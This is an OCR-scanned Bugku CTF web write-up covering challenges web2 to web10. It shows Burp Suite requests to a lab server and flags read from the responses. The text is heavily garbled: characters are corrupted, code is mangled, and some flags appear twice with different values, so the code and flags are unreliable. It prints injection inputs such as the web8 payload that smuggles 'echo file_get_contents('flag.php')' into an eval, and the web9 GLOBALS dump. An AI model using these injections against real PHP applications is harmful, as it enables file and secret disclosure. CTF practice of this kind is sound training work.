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Q&% HTML

<IDOCTYPE himl PUBLIC "-//W3C//DTD XHTML 1.8 Transitional//eN" "hitp://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"™> [evest |z
» <head> (=) </head>

w <body id="body" onload="init()

script type= Jjavascript 1 eCanvas.js"»</script
script type="text/javascript® sr is/Snow. js"»</scripts
» <script type="text/javascript™ = </script>
b <dive () </ diva
</body>
</htmls

html » body#body

2. web2
791457 it

WAIERS R BEf 1AL, EHEF12, %3] T maxengthBfuy®3, #2528,

E=]
<input class="1mput™ type="text™ maxlength="3"»

FH
cbutton id="check"»3&iF</button> [event
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3. web3

$what=8 GET['what'];

echo $what;

if{Swhat=—="flag")

echo 'flag {****}";

flagflag{427c94c663107e417e73f74bddfad29a} flag{427c94c663107e417eT75f74bddfad2%}
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HAEAEURL)E N E?what=flagEi ] .
4. web4
XKL T post.

$what=8 POST['what'];
echo $what;
if{Swhat=—="flag")

echo 'flag {****}";

HIBurpsuite, post—“~what=flag_I2:, 5flag.

Go Cancel < |r > |

Request

J Raw T Params I Headers T Hex ]

Target: http://114.67.246.176:13788 @

Response

| Raw | Headers | Hex |

FPOST / HTTR/Ll.1

Host: 114.67.246.176:13788

User-Agent: Mozilla/S5.0 (Windows NT 10.0;
rv:84.0) Gecko/I0l0010L1 Firefox/84.0
Aocept:

text/html, application/xhtml+xml, application/«xml;q=0.59, im
ace/webp, */ *:q=0.8

Aocept-Landguades @

zh-CH, zh;q=0.8, eh-TW; q=0.7, sh-HE; q=0.5,en-US;q=0.3,2n;
=0.z2

Aocept-Encoding: gzip,
Connection: keep-alive
Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

Content-Type: application/x-www-form-urlencoded
Content-Length: 9

Wing4; =xg4;

deflate

what=flag

5. webb

$num=%_ GET['num';
if{11s_numeric($num))

{

echo $num;

f{Snum==1)

ech-o 'ﬂag{“““““}r;

¥
laflag{de3689afb68486ebad52c7495d72d608}

Fyitnum=1ablm] .

6. web6

flagtiEixE
(B S EETEiE

H % Fburpsuite, #i%|responself) )5, asciiffihd.

L

HTTF/1l.1 Z00 OK

Date: Sat, 19 Dec Z0Z0 0&:52:18 GHT
Server: Apachs/2.4.7 (Ubuntu)
¥-Powsred-By: PHPF/5.5.59-lubuntud.E
Varvy: Accept-Encoding
Content-Length: 138

Connection: closes

Content-Type: text/html

Swhat=§ POST['what'];<br>
echo Swhat ;<br>
if(Swhat=='flag') <br>
echo 'flag{**k*}' ;<lr>

flagflag{652d924510£f3dde53f96cE894e262c79}
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jRawT Headers T Hex ] J Raw T Headers I Hex [ HTML T Render 1
GET / HTTP/1.1 A alert{"O000O") ;
Host: 114.67.246.176:11541 P alert("£lagOOOO")
User—-Lgent: Mozilla/5.0 (Windows NT 10.0; Winf4; =64: alert("0O00OO")
rv:84.0) Gecko/2010010L Firefox/84.0 alert("flagdoOO") -
Locept: alert{"O000O") ;
text/html, application/xhtml+xml, application/xml;q=0.9, im alert("flagOOOO") ;
age/webhp, */ *:q=0.8 alert("0O00OO")
Aocept-Language: alert("flagdoOO") -
zh-CH, zh;q=0.8, zh-TW;q=0.7, zh-HE; q=0.5, en-US; qg=0.3,en;q alert{"O000O") ;
=0.2 alert("£lagOOOO")
Accept-Encoding: gzip, deflate alert("0O00O" ) ;
Connection: keep-alive alert("flaghOOOO") ;
Upgrade-Insecure-Feguests: 1 alert("0O00OO") ;
Cache-Control: max-—-ages=0 alert("flaghOOOO")

alert("O00O0") :

<l ==

EH102:6H108 ;6497 ;68103 ;68123 ;6852 ;LH#54 EH9T7 ;6H97 ;&H5T ;&
HO1EHST &HI2 6#48 (&HI3 ;EH19 6H99 ;&H100 6451 ;&H51 ;&#101
EH99 (EH99 (EH54 EH52 (EH56 EHST (101 EH53 (&H52 (&H55 [ &H4
8 64101 ;6456 ;EHA9 ;EH50 ;6854 EH135; —-></script>

</head>

</html>

7. web7 {d\ ﬁiﬂ:ﬂﬁf§51<

A r) R 2 56D 1) R A N JavaScript 2 ik 500= ) H sl H — T, AJEA — AR Wiflag is here
E‘Ji%/%, {HRN YA 2E ] T JavaScripte e i B A4, 45314 & B Eburpsuite R i A 2 T flag.

1% 2% 1 JavaScript/s, BEHURIE, RIEE 710jpg2 5, FHEAEE Fiflag T (A J210.jpgltlif & “flag is
here” F1#¢7~)

Request Response
jRaw T Headers T Hex } J Raw T Headers T Hex T HTML I Render 1
GET / HTTP/Ll.1 " HTTP/1.1 200 OK A
Host: 114.67.246.176:18866 r Date: Sat, 19 Dec 2020 07:40:36 GMT
User—Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x&4; Server: Apache/2.4.7 (Ubuntu)
rv:84.0) Gecko/20100101 Firefox/84.0 ¥-Powered-EBy: PHF/5.5.5%-lubuntud. &
Aocept: Vary: Accept-Encoding
text/htwl, application/xhtml+xml, application/xml; g=0.9, im Content-Length: £38
age/webp, */*rq=0.8 Connection: close
Aocept-Language: Content-Type: text/html
zh-CH, zh; q=0.8, zh-TW; q=0.7, zh-HE; q=0.5,en-U3; q=0.3,en; q
=0.2 O<html>
Aocept-Encoding: gzip, deflate <head>
Connection: kKeep-alive <meta charset="utf-5">
Upgrade-Insecure-Requests: 1 <meta name="viewport" content="width=device-width,
Cache-Control: max-age=0 initial-scale=1.0">
<meta nams="description” content="":
<meta nams="author" content="":>
<title>Dummy game</title>
</ heads>
<zcript language="JavaIcript'>
function myrefreshi) {
window.location.reload() ;
H
setTimeout( 'myrefresh() ', 500) ;
</scripts>
<body>
<centerr<strong>I want teo play Dummy game with
othersfiBut I can't stop!</strong=</centers>
<zenter>5top at panda ! u will get flag</center>
<center><dive><img sro="10.jpg"/></dive</center><hbr><a
L style="display:none">flag{91e777899fdeBccleladaf3edcile
v d36}</a></body> |,r

8. web8
#yit ?hello=);echo file_get_contents(‘flag.php'

PR rh Rl Filflag.



< ?php

&§flag = 'Too Young Too Simple’:

# echo §flag!

# flag{70rf1686869d463da9d2014d050dc8bIdb}
’»<ooder<span style="color: #000000">
<span style="coclor: #0000BB">:lt; ?php
<br frinbzp:anbsap;anbap; enbap; </span»<span style="color:
<br /rinbsp;:inbsp;anbsp; enbsp; </span><span style="color:
<br frainbzp:anbap;anbap; anbap:eval (énbsp:</span><span sty
<br /rinbsp;:inbsp;anbsp; enbsp; </span><span style="color:
<br /»</spanr<span style="color: #0000BE">»?icr;</span>
</ span>
</ocode>

* file_get_contents() {EHEASCAF AN — AN FRF R A
9. web9 4 mAF =

B #n?args=GLOBALS.

flag In the variable ! <zpnp

error_reporting(0):
include "flagl.php";
nighlight_file(_ file_ ):
if(issen(S_GET[ args'1)){
Sargs = § GET['avos'];
1f(lpreg mateh("/"\weE/", Sargs)) {
dies(Targs errorin);

e’val("'-la':id;_trp ($Sargs) ;") ;
>
array(7) { ["_GET"]=> array(1) { ["args"]=> string(7) "GLOBALS" } ["_POST"]=> array(0) { } ["_COOKIE"}=> array(0) { } ["_FILES"]=> array(0) { } ['ZFkwe3"]=> string(38) "flag{3b01cd06d42£c433¢4713311da0be206}"
*RECURSION®* }

10. web10 L&5Hit

% Response.



E! Burp Suite Professional v1.6 - licensed to LarryLau -

Burp Intruder Repeater Window Help

Proxy T Spider I Scanner T Intruder T Repeater I Sequencer I Decoder I Comparer I Extender T Options I}-\Ierts ]

Intercept | HTTP history T WebSockets history T Options ]

‘ Filter: Hiding CSS, image and general binary content

# 4| Host | Method | URL | Params | Edited | Status |Length |MIMEt... | Extension | Title

1 http://114.67.246.176:13403 GET f J OJ 200 394 HTML

Bl J e

Respnse

J RawT Headers I Hex I HTML T Render ]

HTTE/L1.1l 200 OK A

Date: Wed, Z0 Jan Z0Z1 14:30:27 GHT P

Server: Apache/2.4.7 (Ubhuntu)

¥-Powered-By: FHP/5.5.59-lubuntud.é

Flag: flag{8d7fcébc3idfacTiiZhfEScebhi1l5dagel

Vary: Accept—-Encoding

Content-Length: 137

Connection: close

Content-Type: text/html

<html>

<meta http-equiv="Content-Type" content="text/html; charsec=UTF-2" />

<prer<brz<brr<br><br>000000<br><br:>

</html>
e
]

? < + > Type a search term 0 matches




	[CTF]Bugku Web Writeup (1)

